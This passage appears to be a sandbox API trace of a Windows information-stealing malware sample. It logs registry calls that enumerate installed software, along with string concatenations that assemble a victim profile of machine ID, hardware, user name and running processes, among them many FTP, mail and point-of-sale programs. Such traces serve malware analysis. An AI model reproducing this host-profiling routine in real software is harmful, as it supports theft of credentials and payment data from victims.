[14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\n"
[0054.965] RegCloseKey (hKey=0x514) returned 0x0
[0054.965] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x28, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-002C-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.965] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-002C-0409-0000-0000000FF1CE}") returned 90
[0054.965] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-002C-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.965] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office Proofing (English) 2016", lpcbData=0x1816c0*=0x29) returned 0x0
[0054.966] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\n", lpString2="Microsoft Office Proofing (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016"
[0054.966] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.966] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 